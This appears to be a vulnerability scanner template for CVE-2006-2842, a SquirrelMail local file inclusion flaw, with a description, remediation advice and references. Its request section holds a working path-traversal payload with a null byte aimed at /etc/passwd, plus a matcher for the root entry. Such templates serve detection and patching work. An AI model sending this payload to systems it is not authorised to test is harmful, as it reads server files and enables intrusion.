id: CVE-2006-2842 info: name: Squirrelmail <=1.4.6 - Local File Inclusion author: dhiyaneshDk severity: high description: SquirrelMail 1.4.6 and earlier versions are susceptible to a PHP local file inclusion vulnerability in functions/plugin.php if register_globals is enabled and magic_quotes_gpc is disabled. This allows remote attackers to execute arbitrary PHP code via a URL in the plugins array parameter. impact: | An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. remediation: | Upgrade Squirrelmail to a version higher than 1.4.6 or apply the necessary patches to fix the LFI vulnerability. reference: - https://www.exploit-db.com/exploits/27948 - http://squirrelmail.cvs.sourceforge.net/squirrelmail/squirrelmail/functions/global.php?r1=1.27.2.16&r2=1.27.2.17&view=patch&pathrev=SM-1_4-STABLE - http://www.squirrelmail.org/security/issue/2006-06-01 - https://nvd.nist.gov/vuln/detail/CVE-2006-2842 - ftp://patches.sgi.com/support/free/security/advisories/20060703-01-U.asc classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P cvss-score: 7.5 cve-id: CVE-2006-2842 cwe-id: CWE-22 epss-score: 0.17301 epss-percentile: 0.95581 cpe: cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: squirrelmail product: squirrelmail tags: cve,cve2006,lfi,squirrelmail,edb http: - method: GET path: - "{{BaseURL}}/src/redirect.php?plugins[]=../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 4a0a00473045022070351a9e8db3cd73242680b18ba040226de4685b2c47e1382a982513fb0fc4f6022100e11c42b749f6d407caa47bb25997db8749ff4658e5d89ccf2215774153751083:922c64590222798bb761d5b6d8e72950